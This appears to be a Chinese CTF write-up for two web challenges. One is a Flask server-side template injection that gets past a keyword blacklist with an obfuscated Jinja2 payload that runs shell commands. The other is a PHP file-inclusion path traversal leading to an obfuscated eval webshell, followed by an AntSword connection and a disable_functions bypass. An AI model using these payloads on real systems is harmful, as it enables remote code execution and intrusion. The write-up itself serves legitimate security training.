safe_proxy
from flask import Flask, request, render_template_string
import socket
import threading
import htmlapp = Flask(__name__)@app.route('/', methods=["GET"])
def source():with open(__file__, 'r', encoding='utf-8') as f:return '<pre>'+html.escape(f.read())+'</pre>'@app.route('/', methods=["POST"])
def template():template_code = request.form.get("code")# 安全过滤blacklist = ['__', 'import', 'os', 'sys', 'eval', 'subprocess', 'popen', 'system', '\r', '\n']for black in blacklist:if black in template_code:return "Forbidden content detected!"result = render_template_string(template_code)print(result)return 'ok' if result is not None else 'error'class HTTPProxyHandler:def __init__(self, target_host, target_port):self.target_host = target_hostself.target_port = target_portdef handle_request(self, client_socket):try:request_data = b""while True:chunk = client_socket.recv(4096)request_data += chunkif len(chunk) < 4096:breakif not request_data:client_socket.close()returnwith socket.socket(socket.AF_INET, socket.SOCK_STREAM) as proxy_socket:proxy_socket.connect((self.target_host, self.target_port))proxy_socket.sendall(request_data)response_data = b""while True:chunk = proxy_socket.recv(4096)if not chunk:breakresponse_data += chunkheader_end = response_data.rfind(b"\r\n\r\n")if header_end != -1:body = response_data[header_end + 4:]else:body = response_dataresponse_body = bodyresponse = b"HTTP/1.1 200 OK\r\n" \b"Content-Length: " + str(len(response_body)).encode() + b"\r\n" \b"Content-Type: text/html; charset=utf-8\r\n" \b"\r\n" + response_bodyclient_socket.sendall(response)except Exception as e:print(f"Proxy Error: {e}")finally:client_socket.close()def start_proxy_server(host, port, target_host, target_port):proxy_handler = HTTPProxyHandler(target_host, target_port)server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)server_socket.bind((host, port))server_socket.listen(100)print(f"Proxy server is running on {host}:{port} and forwarding to {target_host}:{target_port}...")try:while True:client_socket, addr = server_socket.accept()print(f"Connection from {addr}")thread = threading.Thread(target=proxy_handler.handle_request, args=(client_socket,))thread.daemon = Truethread.start()except KeyboardInterrupt:print("Shutting down proxy server...")finally:server_socket.close()def run_flask_app():app.run(debug=False, host='127.0.0.1', port=5000)if __name__ == "__main__":proxy_host = "0.0.0.0"proxy_port = 5001target_host = "127.0.0.1"target_port = 5000# 安全反代，防止针对响应头的攻击proxy_thread = threading.Thread(target=start_proxy_server, args=(proxy_host, proxy_port, target_host, target_port))proxy_thread.daemon = Trueproxy_thread.start()print("Starting Flask app...")run_flask_app()这里
result = render_template_string(template_code)
明显的模板注入
先本地测试一下
app.route('/', methods=["POST"])def template():template_code = request.form.get("code")# 安全过滤blacklist = ['__', 'import', 'os', 'sys', 'eval', 'subprocess', 'popen', 'system', '\r', '\n']for black in blacklist:if black in template_code:return "Forbidden content detected!"result = render_template_string(template_code)# print(result)# return 'ok' if result is not None else 'error'return result
使用fenjing工具拿到payload
{%set gl='_'*2+'globals'+'_'*2%}{%set bu='_'*2+'builtins'+'_'*2%}{%set im='_'*2+'i''mport'+'_'*2%}{%set ua='so'[::-1]%}{{cycler.next[gl][bu][im](ua)['p''open']('ls').read()}}"}
之后将flag文件输出到app.py
cat /flag > app.py
payload为
%7b%25%73%65%74%20%67%6c%3d%27%5f%27%2a%32%2b%27%67%6c%6f%62%61%6c%73%27%2b%27%5f%27%2a%32%25%7d%7b%25%73%65%74%20%62%75%3d%27%5f%27%2a%32%2b%27%62%75%69%6c%74%69%6e%73%27%2b%27%5f%27%2a%32%25%7d%7b%25%73%65%74%20%69%6d%3d%27%5f%27%2a%32%2b%27%69%27%27%6d%70%6f%72%74%27%2b%27%5f%27%2a%32%25%7d%7b%25%73%65%74%20%75%61%3d%27%73%6f%27%5b%3a%3a%2d%31%5d%25%7d%7b%7b%63%79%63%6c%65%72%2e%6e%65%78%74%5b%67%6c%5d%5b%62%75%5d%5b%69%6d%5d%28%75%61%29%5b%27%70%27%27%6f%70%65%6e%27%5d%28%27%63%61%74%20%2f%66%6c%61%67%20%3e%20%61%70%70%2e%70%79%27%29%2e%72%65%61%64%28%29%7d%7d%22%7d
hello_web
代码和SKCTF2017的源码类似，但思路完全不同
猜测代码如下：
<?phpif(!isset($_GET['file'])){header('Location: ./index.php?file=hello.php');exit();}@$file = $_GET["file"];if(isset($file)){if (preg_match('/php:\/\/|http|data|ftp|input|%00/i', $file) || strlen($file)>=70) //再加上替换掉..{echo "<h1>NAIVE!!!</h1>";}else{include($file);}}
?>
http://eci-2ze4xxsimq68yxcg40l4.cloudeci1.ichunqiu.com/index.php?file=…/…/…/…//hackme.php
<?php
highlight_file(__FILE__);$lJbGIY="eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxME";
$OlWYMv="zqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrel";
$lapUCm=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
echo $lapUCm;
$YwzIst=$lapUCm{3}.$lapUCm{6}.$lapUCm{33}.$lapUCm{30};
echo $YwzIst;
$OxirhK=$lapUCm{33}.$lapUCm{10}.$lapUCm{24}.$lapUCm{10}.$lapUCm{24};
echo $OxirhK;
$YpAUWC=$OxirhK{0}.$lapUCm{18}.$lapUCm{3}.$OxirhK{0}.$OxirhK{1}.$lapUCm{24};
echo $YpAUWC;
$rVkKjU=$lapUCm{7}.$lapUCm{13};
echo $rVkKjU;
$YwzIst.=$lapUCm{22}.$lapUCm{36}.$lapUCm{29}.$lapUCm{26}.$lapUCm{30}.$lapUCm{32}.$lapUCm{35}.$lapUCm{26}.$lapUCm{30};
echo $YwzIst;
eval($YwzIst("JHVXY2RhQT0iZVFPTGxDbVRZaFZKVW5SQW9iUFN2anJGeldaeWNIWGZkYXVrcUdnd05wdElCS2lEc3hNRXpxQlprT3V3VWFUS0ZYUmZMZ212Y2hiaXBZZE55QUdzSVdWRVFueGpEUG9IU3RDTUpyZWxtTTlqV0FmeHFuVDJVWWpMS2k5cXcxREZZTkloZ1lSc0RoVVZCd0VYR3ZFN0hNOCtPeD09IjtldmFsKCc/PicuJFl3eklzdCgkT3hpcmhLKCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVKjIpLCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVLCRyVmtLalUpLCRZcEFVV0MoJHVXY2RhQSwwLCRyVmtLalUpKSkpOw=="));解得：
<?php @eval($_POST['cmd_66.99']); ?>
无法正常传参，绕过：cmd[66.99
http://eci-2ze4xxsimq68yxcg40l4.cloudeci1.ichunqiu.com/index.php?file=…/…/…/…//tips.php
phpinfo
信息：disable_functions，php7.3.4
这时候可以用AntSword连接了，http://eci-2ze4xxsimq68yxcg40l4.cloudeci1.ichunqiu.com/index.php?file=…/…/…/…//hackme.php，密码cmd[66.99
进去后没有权限
用蚁剑插件绕过disable_functions
重新建一个1.php，再执行绕过
最后连接
http://eci-2ze4xxsimq68yxcg40l4.cloudeci1.ichunqiu.com/.antproxy.php
密码1
进去后
find . -type f -name '*flag*'
找到flag，打开就行
